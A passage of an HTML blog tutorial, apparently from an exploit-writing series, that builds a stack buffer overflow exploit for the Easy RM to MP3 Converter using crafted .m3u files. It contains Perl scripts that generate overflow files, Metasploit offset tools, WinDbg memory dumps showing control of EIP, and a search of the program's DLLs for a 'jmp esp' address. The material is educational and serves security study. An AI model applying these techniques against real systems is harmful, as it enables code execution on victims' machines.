42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB \n000ff7a0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB \n\n0:000&gt; d \n000ff7b0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB \n000ff7c0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB \n000ff7d0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB \n000ff7e0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB \n000ff7f0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB \n000ff800 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB \n000ff810 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB \n000ff820 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB \n\n0:000&gt; d \n000ff830 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB \n000ff840 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB \n000ff850 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB \n000ff860 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB \n000ff870 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB \n000ff880 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB \n000ff890 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB \n000ff8a0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB<\/pre>\n<p>That is great news. We have overwritten EIP with BBBB and we can also see our buffer in ESP. Before we can start tweaking the script, we need to find the exact location in our buffer that overwrites EIP. In order to find the exact location, we\u2019ll use Metasploit. Metasploit has a nice tool to assist us with calculating the offset. It will generate a string that contains unique patterns. Using this pattern (and the value of EIP after using the pattern in our malicious .m3u file), we can see how big the buffer should be to write exactly into EIP. Open the tools folder in the metasploit framework3 folder (I\u2019m using a linux version of metasploit 3). You should find a tool called pattern_create.rb. Create a pattern of 5000 characters and write it into a file<\/p>\n<pre>root@bt:\/pentest\/exploits\/framework3\/tools# <strong>.\/pattern_create.rb<\/strong> Usage: pattern_create.rb length [set a] [set b] [set c] <br \/>root@bt:\/pentest\/exploits\/framework3\/tools# <strong>.\/pattern_create.rb 5000 <\/strong><\/pre>\n<p>Edit the perl script and replace the content of $junk2 with our 5000 characters.<\/p>\n<pre>my $file= <span style=\"color: #006080;\">\"crash25000.m3u\"<\/span>; <br \/>my $junk = <span style=\"color: #006080;\">\"\\x41\"<\/span> x 25000; <br \/>my $junk2 = \u201cput the 5000 characters here\u201d <br \/>open($FILE,<span style=\"color: #006080;\">\"&gt;$file\"<\/span>); <br \/>print $FILE $junk.$junk2; <br \/>close($FILE); <br \/>print <span style=\"color: #006080;\">\"m3u File Created successfully\\n\"<\/span>;<\/pre>\n<p>Create the m3u file.\u00a0 open this file in Easy RM to MP3, wait until the application dies again, and take note of the contents of EIP <a href=\"\/wp-content\/uploads\/2009\/08\/image3.png\" target=\"_blank\" rel=\"noopener noreferrer\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2009\/08\/image_thumb3.png\" alt=\"image\" width=\"677\" height=\"154\" border=\"0\" \/><\/a><\/p>\n<p>At this time, eip contains 0x356b4234 (note : little endian : we have overwritten EIP with 34 42 6b 35 = 4Bk5 Let\u2019s use a second metasploit tool now, to calculate the exact length of the buffer before writing into EIP, feed it with the value of EIP (based on the pattern file) and length of the buffer :<\/p>\n<pre>root@bt:\/pentest\/exploits\/framework3\/tools# .\/pattern_offset.rb 0x356b4234 5000 <br \/><br \/>1094 <\/pre>\n<p>1094. That\u2019s the buffer length needed to overwrite EIP. So if you create a file with 25000+1094 A\u2019s, and then add 4 B\u2019s (42 42 42 42 in hex) EIP should contain 42 42 42 42.\u00a0 We also know that ESP points at data from our buffer, so we\u2019ll add some C\u2019s after overwriting EIP. Let\u2019s try. Modify the perl script to create the new m3u file.<\/p>\n<pre>my $file= <span style=\"color: #006080;\">\"eipcrash.m3u\"<\/span>; \nmy $junk= <span style=\"color: #006080;\">\"A\"<\/span> x 26094; \nmy $eip = <span style=\"color: #006080;\">\"BBBB\"<\/span>; \nmy $espdata = <span style=\"color: #006080;\">\"C\"<\/span> x 1000; \nopen($FILE,<span style=\"color: #006080;\">\"&gt;$file\"<\/span>); \nprint $FILE $junk.$eip.$espdata; \nclose($FILE); \nprint <span style=\"color: #006080;\">\"m3u File Created successfully\\n\"<\/span>;<\/pre>\n<p>Create eipcrash.m3u, open it in Easy RM to MP3, observe the crash and look at eip and the contents of the memory at ESP:<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/07\/image70.png\" target=\"_blank\" rel=\"noopener noreferrer\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2009\/07\/image70_thumb.png\" alt=\"image\" width=\"655\" height=\"128\" border=\"0\" \/><\/a><\/p>\n<pre>0:000&gt; d esp \n000ff730 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC \n000ff740 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC \n000ff750 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC \n000ff760 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC \n000ff770 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC \n000ff780 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC \n000ff790 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC \n000ff7a0 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC<\/pre>\n<p>In Immunity Debugger, you can see the contents of the stack, at ESP, by looking at the lower right hand window. Excellent. EIP contains BBBB, which is exactly what we wanted. So now we control EIP. On top of that, ESP points to our buffer (C\u2019s)<\/p>\n<blockquote>\n<p>Note : the offset shown here is the result of the analysis on my own system.\u00a0 If you are trying to reproduce the exercises from this tutorial on your own system, odds are high that you will get a different offset address. So please don\u2019t just take the offset value or copy the source code to your system, as the offset is based on the file path where the m3u file is stored.\u00a0 The buffer that is vulnerable to an overflow includes the full path to the m3u file. So if the path on your system is shorter or larger than mine, then the offset will be different.<\/p>\n<\/blockquote>\n<p>Our exploit buffer so far looks like this :<\/p>\n<table border=\"1\" width=\"665\" cellspacing=\"0\" cellpadding=\"1\">\n<tbody>\n<tr>\n<td valign=\"top\" width=\"130\">Buffer<\/td>\n<td valign=\"top\" width=\"95\">EBP<\/td>\n<td valign=\"top\" width=\"88\">EIP<\/td>\n<td valign=\"top\" width=\"350\">ESP points here\u00a0 | V<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"130\">A (x 26090)<\/td>\n<td valign=\"top\" width=\"95\">AAAA<\/td>\n<td valign=\"top\" width=\"88\">BBBB<\/td>\n<td valign=\"top\" width=\"350\">CCCCCCCCCCCCCCCCCCCCCCCC<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"130\">414141414141\u202641<\/td>\n<td valign=\"top\" width=\"99\">41414141<\/td>\n<td valign=\"top\" width=\"95\">42424242<\/td>\n<td valign=\"top\" width=\"350\">\u00a0<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"130\">26090 bytes<\/td>\n<td valign=\"top\" width=\"99\">4 bytes<\/td>\n<td valign=\"top\" width=\"95\">4 bytes<\/td>\n<td valign=\"top\" width=\"350\">1000 bytes ?<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3>Find memory space to host the shellcode<\/h3>\n<p>We control EIP. So we can point EIP to somewhere else, to a place that contains our own code (shellcode).\u00a0 But where is this space, how can we put our shellcode in that location and how can we make EIP jump to that location ?<\/p>\n<p>In order to crash the application, we have written 26094 A\u2019s into memory, we have written a new value into the saved EIP field (ret), and we have written a bunch of C\u2019s. When the application crashes, take a look at the registers and dump all of them\u00a0 (d esp, d eax, d ebx, d ebp, \u2026).\u00a0 If you can see your buffer (either the A\u2019s or the C\u2019s) in one of the registers, then you may be able to replace those with shellcode and jump to that location.<\/p>\n<p>In our example, We can see that ESP seems to point to our C\u2019s (remember the output of d esp above), so ideally we would put our shellcode instead of the C\u2019s and we tell EIP to go to the ESP address. Despite the fact that we can see the C\u2019s, we don\u2019t know for sure that the first C (at address 000ff730, where ESP points at), is in fact the first C that we have put in our buffer.<\/p>\n<p>We\u2019ll change the perl script and feed a pattern of characters (I\u2019ve taken 144 characters, but you could have taken more or taken less) instead of C\u2019s :<\/p>\n<pre>my $file= <span style=\"color: #006080;\">\"test1.m3u\"<\/span>; \nmy $junk= <span style=\"color: #006080;\">\"A\"<\/span> x 26094; \nmy $eip = <span style=\"color: #006080;\">\"BBBB\"<\/span>; \nmy $shellcode = <span style=\"color: #006080;\">\"1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK\"<\/span> . <span style=\"color: #006080;\">\"5ABCDEFGHIJK6ABCDEFGHIJK\"<\/span> . <span style=\"color: #006080;\">\"7ABCDEFGHIJK8ABCDEFGHIJK\"<\/span> . <span style=\"color: #006080;\">\"9ABCDEFGHIJKAABCDEFGHIJK\"<\/span>. <span style=\"color: #006080;\">\"BABCDEFGHIJKCABCDEFGHIJK\"<\/span>; \nopen($FILE,<span style=\"color: #006080;\">\"&gt;$file\"<\/span>); \nprint $FILE $junk.$eip.$shellcode; \nclose($FILE); \nprint <span style=\"color: #006080;\">\"m3u File Created successfully\\n\"<\/span>;<\/pre>\n<p>Create the file, open it, let the application die and dump memory at location ESP :<\/p>\n<pre>0:000&gt; d esp \n000ff730 44 45 46 47 48 49 4a 4b-32 41 42 43 44 45 46 47 DEFGHIJK2ABCDEFG \n000ff740 48 49 4a 4b 33 41 42 43-44 45 46 47 48 49 4a 4b HIJK3ABCDEFGHIJK \n000ff750 34 41 42 43 44 45 46 47-48 49 4a 4b 35 41 42 43 4ABCDEFGHIJK5ABC \n000ff760 44 45 46 47 48 49 4a 4b-36 41 42 43 44 45 46 47 DEFGHIJK6ABCDEFG \n000ff770 48 49 4a 4b 37 41 42 43-44 45 46 47 48 49 4a 4b HIJK7ABCDEFGHIJK \n000ff780 38 41 42 43 44 45 46 47-48 49 4a 4b 39 41 42 43 8ABCDEFGHIJK9ABC \n000ff790 44 45 46 47 48 49 4a 4b-41 41 42 43 44 45 46 47 DEFGHIJKAABCDEFG \n000ff7a0 48 49 4a 4b 42 41 42 43-44 45 46 47 48 49 4a 4b HIJKBABCDEFGHIJK \n\n0:000&gt; d \n000ff7b0 43 41 42 43 44 45 46 47-48 49 4a 4b 00 41 41 41 CABCDEFGHIJK.AAA \n000ff7c0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA \n000ff7d0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA \n000ff7e0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA \n000ff7f0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA \n000ff800 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA \n000ff810 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA \n000ff820 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA<\/pre>\n<p>ok, we can see 2 interesting things here :<\/p>\n<ul>\n<li>ESP starts at the 5th character of our pattern, and not the first character. (due to calling conventions, the child function will clean up stack space used by the parent function when it passed an argument to the child function)<\/li>\n<li>After the pattern string, we see \u201cA\u2019s\u201d.\u00a0 These A\u2019s most likely belong to the first part of the buffer (26101 A\u2019s), so we may also be able to put our shellcode in the first part of the buffer (before overwriting RET)...<\/li>\n<\/ul>\n<p>But let\u2019s not go that way yet.\u00a0 We\u2019ll first add 4 characters in front of the pattern and do the test again.\u00a0 If all goes well, ESP should now point directly at the beginning of our pattern :<\/p>\n<pre>my $file= <span style=\"color: #006080;\">\"test1.m3u\"<\/span>; \nmy $junk= <span style=\"color: #006080;\">\"A\"<\/span> x 26094; \nmy $eip = <span style=\"color: #006080;\">\"BBBB\"<\/span>; \nmy $preshellcode = <span style=\"color: #006080;\">\"XXXX\"<\/span>; \nmy $shellcode = <span style=\"color: #006080;\">\"1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK\"<\/span> . <span style=\"color: #006080;\">\"5ABCDEFGHIJK6ABCDEFGHIJK\"<\/span> . <br \/><span style=\"color: #006080;\">\"7ABCDEFGHIJK8ABCDEFGHIJK\"<\/span> . <br \/><span style=\"color: #006080;\">\"9ABCDEFGHIJKAABCDEFGHIJK\"<\/span>. <br \/><span style=\"color: #006080;\">\"BABCDEFGHIJKCABCDEFGHIJK\"<\/span>; \nopen($FILE,<span style=\"color: #006080;\">\"&gt;$file\"<\/span>); \nprint $FILE $junk.$eip.$preshellcode.$shellcode; \nclose($FILE); \nprint <span style=\"color: #006080;\">\"m3u File Created successfully\\n\"<\/span>;<\/pre>\n<div>\u00a0<\/div>\n<div>Let the application crash and look at esp again<\/div>\n<div>\u00a0<\/div>\n<pre>0:000&gt; d esp \n000ff730 31 41 42 43 44 45 46 47-48 49 4a 4b 32 41 42 43 1ABCDEFGHIJK2ABC \n000ff740 44 45 46 47 48 49 4a 4b-33 41 42 43 44 45 46 47 DEFGHIJK3ABCDEFG \n000ff750 48 49 4a 4b 34 41 42 43-44 45 46 47 48 49 4a 4b HIJK4ABCDEFGHIJK \n000ff760 35 41 42 43 44 45 46 47-48 49 4a 4b 36 41 42 43 5ABCDEFGHIJK6ABC \n000ff770 44 45 46 47 48 49 4a 4b-37 41 42 43 44 45 46 47 DEFGHIJK7ABCDEFG \n000ff780 48 49 4a 4b 38 41 42 43-44 45 46 47 48 49 4a 4b HIJK8ABCDEFGHIJK \n000ff790 39 41 42 43 44 45 46 47-48 49 4a 4b 41 41 42 43 9ABCDEFGHIJKAABC \n000ff7a0 44 45 46 47 48 49 4a 4b-42 41 42 43 44 45 46 47 DEFGHIJKBABCDEFG \n\n0:000&gt; d \n000ff7b0 48 49 4a 4b 43 41 42 43-44 45 46 47 48 49 4a 4b HIJKCABCDEFGHIJK \n000ff7c0 00 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 .AAAAAAAAAAAAAAA \n000ff7d0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA \n000ff7e0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA \n000ff7f0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA \n000ff800 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA \n000ff810 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA \n000ff820 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA<\/pre>\n<p>Much better ! We now have<\/p>\n<ul>\n<li>control over EIP<\/li>\n<li>an area where we can write our code (at least 144 bytes large.\u00a0 If you do some more tests with longer patterns, you will see that you have even more space\u2026 plenty of space in fact)<\/li>\n<li>a register that directly points at our code, at address 0x000ff730<\/li>\n<\/ul>\n<div>Now we need to<\/div>\n<ul>\n<li>build real shellcode<\/li>\n<li>tell EIP to jump to the address of the start of the shellcode.\u00a0 We can do this by overwriting EIP with 0x000ff730.<\/li>\n<\/ul>\n<p>Let\u2019s see We\u2019ll build a small test case : first 26094 A\u2019s, then overwrite EIP with 000ff730, then put 25 NOP\u2019s, then a break, and then more NOP\u2019s. If all goes well, EIP should jump 000ff730, which contains NOPs. The code should slide until the break.<\/p>\n<pre>my $file= <span style=\"color: #006080;\">\"test1.m3u\"<\/span>; \nmy $junk= <span style=\"color: #006080;\">\"A\"<\/span> x 26094; \nmy $eip = pack(<span style=\"color: #006080;\">'V'<\/span>,0x000ff730); \nmy $shellcode = <span style=\"color: #006080;\">\"\\x90\"<\/span> x 25; \n$shellcode = $shellcode.<span style=\"color: #006080;\">\"\\xcc\"<\/span>; \n$shellcode = $shellcode.<span style=\"color: #006080;\">\"\\x90\"<\/span> x 25; \nopen($FILE,<span style=\"color: #006080;\">\"&gt;$file\"<\/span>); \nprint $FILE $junk.$eip.$shellcode; \nclose($FILE); \nprint <span style=\"color: #006080;\">\"m3u File Created successfully\\n\"<\/span>;<\/pre>\n<div>\u00a0<\/div>\n<div>The application died, but we expected a break instead of an access violation.<\/div>\n<div>When we look at EIP, it points to 000ff730, and so does ESP.<\/div>\n<div>When we dump ESP, we don\u2019t see what we had expected.<\/div>\n<div>\u00a0<\/div>\n<pre>eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=0000662c eip=000ff730 esp=000ff730 ebp=003440c0 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 \n\nMissing image name, possible paged-<span style=\"color: #0000ff;\">out<\/span> or corrupt data. \nMissing image name, possible paged-<span style=\"color: #0000ff;\">out<\/span> or corrupt data. \nMissing image name, possible paged-<span style=\"color: #0000ff;\">out<\/span> or corrupt data. \n&lt;Unloaded_P32.dll&gt;+0xff71f: 000ff730 0000 add <span style=\"color: #0000ff;\">byte<\/span> ptr [eax],al ds:0023:00000001=?? \n\n0:000&gt; d esp \n000ff730 00 00 00 00 06 00 00 00-58 4a 10 00 01 00 00 00 ........XJ...... \n000ff740 30 f7 0f 00 00 00 00 00-41 41 41 41 41 41 41 41 0.......AAAAAAAA \n000ff750 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA \n000ff760 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA \n000ff770 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA \n000ff780 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA \n000ff790 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA \n000ff7a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA<\/pre>\n<div>\u00a0<\/div>\n<div>So jumping directly to a memory address may not be a good solution after all. (000ff730 contains a null byte, which is a string terminator\u2026 so the A\u2019s you are seeing are coming from the first part of the buffer\u2026 We never reached the point where we started writing our data after overwrite EIP\u2026<\/div>\n<div>\u00a0<\/div>\n<div>Besides, using a memory address to jump to in an exploit would make the exploit very unreliable. After all, this memory address could be different in other OS versions, languages, etc\u2026)<\/div>\n<div>\u00a0<\/div>\n<div>Long story short : we cannot just overwrite EIP with a direct memory address such as 000ff730. It\u2019s not a good idea because it would not be reliable, and it's not a good idea because it contains a null byte.<\/div>\n<div>We have to use another technique to achieve the same goal : make the application jump to our own provided code. Ideally, we should be able to reference a register (or an offset to a register), ESP in our case, and find a function that will jump to that register.<\/div>\n<div>Then we will try to overwrite EIP with the address of that function and it should be time for pancakes and icecream.<\/div>\n<div>\u00a0<\/div>\n<h3>Jump to the shellcode in a reliable way<\/h3>\n<div>We have managed to put our shellcode exactly where ESP points at (or, if you look at it from a different angle, ESP points directly at the beginning of our shellcode).\u00a0 If that would not have been the case, we would have looked to the contents of other register addresses and hope to find our buffer back.\u00a0 Anyways, in this particular example, we can use ESP.<\/div>\n<div>The reasoning behind overwriting EIP with the address of ESP was that we want the application to jump to ESP and run the shellcode.<\/div>\n<div>Although Jumping to ESP is not a very common thing in windows applications, we're just trying to find a location in memory that contains the bytes that correspond with that instruction. The fewer the bytes, the more likely we can find them.\u00a0 Windows applications use one or more dll\u2019s, and these dll\u2019s contains lots of code instructions. Lots of bytes.<\/div>\n<div>\u00a0<\/div>\n<div>Furthermore, the addresses used by these dll\u2019s are pretty static. So if we could find a dll that contains the instruction to jump to esp, and if we could overwrite EIP with the address of that instruction in that dll, then it should work, right ?<\/div>\n<div>\u00a0<\/div>\n<div>Let\u2019s see. First of all, we need to figure out what the opcode for \u201cjmp esp\u201d is.<\/div>\n<div>\u00a0<\/div>\n<div>We can do this by Launching Easy RM to MP3, then opening windbg and hook windbg to the Easy RM to MP3 application. (Just connect it to the process, don\u2019t do anything in Easy RM to MP3).\u00a0 This gives us the advantage that windbg will see all dll\u2019s\/modules that are loaded by the application. (It will become clear why I mentioned this)<\/div>\n<div>\u00a0<\/div>\n<div><a href=\"\/wp-content\/uploads\/2009\/07\/image17.png\" target=\"_blank\" rel=\"noopener noreferrer\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2009\/07\/image_thumb17.png\" alt=\"image\" width=\"201\" height=\"212\" border=\"0\" \/><\/a><\/div>\n<div>\u00a0<\/div>\n<div>Upon attaching the debugger to the process, the application will break.<\/div>\n<div>In the windbg command line, at the bottom of the screen, enter\u00a0 a\u00a0 <em>(assemble)<\/em> and press return<\/div>\n<div>Now enter\u00a0 jmp esp and press return<\/div>\n<div>\u00a0<\/div>\n<div><a href=\"\/wp-content\/uploads\/2009\/07\/image18.png\" target=\"_blank\" rel=\"noopener noreferrer\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2009\/07\/image_thumb18.png\" alt=\"image\" width=\"611\" height=\"92\" border=\"0\" \/><\/a><\/div>\n<div>\u00a0<\/div>\n<div>Press return again.<\/div>\n<div>Now enter\u00a0 u <em>(unassemble)<\/em> followed by the address that was shown before entering\u00a0\u00a0 jmp esp<\/div>\n<div>\u00a0<\/div>\n<pre>0:014&gt; u 7c90120e \nntdll!DbgBreakPoint: \n<strong><span style=\"color: #ff0000;\">7c90120e ffe4 jmp esp<\/span><\/strong> \n7c901210 8bff mov edi,edi \nntdll!DbgUserBreakPoint: \n7c901212 cc <span style=\"color: #0000ff;\">int<\/span> 3 \n7c901213 c3 ret \n7c901214 8bff mov edi,edi \n7c901216 8b442404 mov eax,dword ptr [esp+4] \n7c90121a cc <span style=\"color: #0000ff;\">int<\/span> 3 \n7c90121b c20400 ret 4<\/pre>\n<div>\u00a0<\/div>\n<div>Next to 7c90120e, you can see ffe4.\u00a0 This is the opcode for jmp esp<\/div>\n<div>Now we need to find this opcode in one of the loaded dll\u2019s.<\/div>\n<div>Look at the top of the windbg window, and look for lines that indicate dll\u2019s that belong to the Easy RM to MP3 application :<\/div>\n<div>\u00a0<\/div>\n<pre>Microsoft (R) Windows Debugger Version 6.11.0001.404 X86 Copyright (c) Microsoft Corporation. All rights reserved. *** wait with pending attach Symbol search path <span style=\"color: #0000ff;\">is<\/span>: *** Invalid *** **************************************************************************** * Symbol loading may be unreliable without a symbol search path. * * Use .symfix to have the debugger choose a symbol path. * * After setting your symbol path, use .reload to refresh symbol locations. * **************************************************************************** \nExecutable search path <span style=\"color: #0000ff;\">is<\/span>: ModLoad: 00400000 004be000 C:\\Program Files\\Easy RM to MP3 Converter\\RM2MP3Converter.exe \nModLoad: 7c900000 7c9b2000 C:\\WINDOWS\\system32\\ntdll.dll ModLoad: 7c800000 7c8f6000 C:\\WINDOWS\\system32\\kernel32.dll \nModLoad: 78050000 78120000 C:\\WINDOWS\\system32\\WININET.dll ModLoad: 77c10000 77c68000 C:\\WINDOWS\\system32\\msvcrt.dll \nModLoad: 77f60000 77fd6000 C:\\WINDOWS\\system32\\SHLWAPI.dll ModLoad: 77dd0000 77e6b000 C:\\WINDOWS\\system32\\ADVAPI32.dll \nModLoad: 77e70000 77f02000 C:\\WINDOWS\\system32\\RPCRT4.dll ModLoad: 77fe0000 77ff1000 C:\\WINDOWS\\system32\\Secur32.dll \nModLoad: 77f10000 77f59000 C:\\WINDOWS\\system32\\GDI32.dll ModLoad: 7e410000 7e4a1000 C:\\WINDOWS\\system32\\USER32.dll \nModLoad: 00330000 00339000 C:\\WINDOWS\\system32\\Normaliz.dll ModLoad: 78000000 78045000 C:\\WINDOWS\\system32\\iertutil.dll \nModLoad: 77c00000 77c08000 C:\\WINDOWS\\system32\\VERSION.dll ModLoad: 73dd0000 73ece000 C:\\WINDOWS\\system32\\MFC42.DLL \nModLoad: 763b0000 763f9000 C:\\WINDOWS\\system32\\comdlg32.dll ModLoad: 5d090000 5d12a000 C:\\WINDOWS\\system32\\COMCTL32.dll \nModLoad: 7c9c0000 7d1d7000 C:\\WINDOWS\\system32\\SHELL32.dll ModLoad: 76080000 760e5000 C:\\WINDOWS\\system32\\MSVCP60.dll \nModLoad: 76b40000 76b6d000 C:\\WINDOWS\\system32\\WINMM.dll ModLoad: 76390000 763ad000 C:\\WINDOWS\\system32\\IMM32.DLL \nModLoad: 773d0000 774d3000 C:\\WINDOWS\\WinSxS\\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.5512_x-ww_35d4ce83\\comctl32.dll ModLoad: 74720000 7476c000 C:\\WINDOWS\\system32\\MSCTF.dll ModLoad: 755c0000 755ee000 C:\\WINDOWS\\system32\\msctfime.ime ModLoad: 774e0000 7761d000 C:\\WINDOWS\\system32\\ole32.dll \n<strong><span style=\"color: #ff0000;\">ModLoad: 10000000 10071000 C:\\Program Files\\Easy RM to MP3 Converter\\MSRMfilter03.dll<\/span><\/strong> \nModLoad: 71ab0000 71ac7000 C:\\WINDOWS\\system32\\WS2_32.dll \nModLoad: 71aa0000 71aa8000 C:\\WINDOWS\\system32\\WS2HELP.dll \n<strong><span style=\"color: #ff0000;\">ModLoad: 00ce0000 00d7f000 C:\\Program Files\\Easy RM to MP3 Converter\\MSRMfilter01.dll \nModLoad: 01a90000 01b01000 C:\\Program Files\\Easy RM to MP3 Converter\\MSRMCcodec00.dll \nModLoad: 00c80000 00c87000 C:\\Program Files\\Easy RM to MP3 Converter\\MSRMCcodec01.dll \nModLoad: 01b10000 01fdd000 C:\\Program Files\\Easy RM to MP3 Converter\\MSRMCcodec02.dll<\/span><\/strong> \nModLoad: 01fe0000 01ff1000 C:\\WINDOWS\\system32\\MSVCIRT.dll \nModLoad: 77120000 771ab000 C:\\WINDOWS\\system32\\OLEAUT32.dll<\/pre>\n<div>\u00a0<\/div>\n<div>If we can find the opcode in one of these dll\u2019s, then we have a good chance of making the exploit work reliably across windows platforms.\u00a0 If we need to use a dll that belongs to the OS, then we might find that the exploit does not work for other versions of the OS.<\/div>\n<div>So let\u2019s search the area of one of the Easy RM to MP3 dll\u2019s first.<\/div>\n<div>We\u2019ll look in the area of C:\\Program Files\\Easy RM to MP3 Converter\\MSRMCcodec02.dll.<\/div>\n<div>This dll is loaded between 01b10000 and 01fd000.\u00a0 Search this area for ff e4 :<\/div>\n<div>\u00a0<\/div>\n<pre>0:014&gt; s 01b10000 l 01fdd000 ff e4 \n01ccf23a ff e4 ff 8d 4e 10 c7 44-24 10 ff ff ff ff e8 f3 ....N..D$....... \n01d0023f ff e4 fb 4d 1b a6 9c ff-ff 54 a2 ea 1a d9 9c ff ...M.....T...... \n01d1d3db ff e4 ca ce 01 20 05 93-19 09 00 00 00 00 d4 d1 ..... .......... \n01d3b22a ff e4 07 07 f2 01 57 f2-5d 1c d3 e8 09 22 d5 d0 ......W.]....\".. \n01d3b72d ff e4 09 7d e4 ad 37 df-e7 cf 25 23 c9 a0 4a 26 ...}..7...%#..J&amp; \n01d3cd89 ff e4 03 35 f2 82 6f d1-0c 4a e4 19 30 f7 b7 bf ...5..o..J..0... \n01d45c9e ff e4 5c 2e 95 bb 16 16-79 e7 8e 15 8d f6 f7 fb ..\\.....y....... \n01d503d9 ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d .....w1...h...T. \n01d51400 ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50 ...8%.qD...u...P \n01d5736d ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d .....w1...h...T. \n01d5ce34 ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50 ...8%.qD...u...P \n01d60159 ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d .....w1...h...T. \n01d62ec0 ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50 ...8%.qD...u...P \n0221135b ff e4 49 20 02 e8 49 20-02 00 00 00 00 ff ff ff ..I ..I ........ \n0258ea53 ff e4 ec 58 02 00 00 00-00 00 00 00 00 08 02 a8 ...X............<\/pre>\n<p>Excellent.<\/p>\n<p>When selecting an address, it is important to look for null bytes.\u00a0 You should try to avoid using addresses with null bytes (especially if you need to use the buffer data that comes after the EIP overwrite. The null byte would become a string terminator and the rest of the buffer data will become unusable). Another good area to search for opcodes is \u201cs 70000000 l fffffff ff 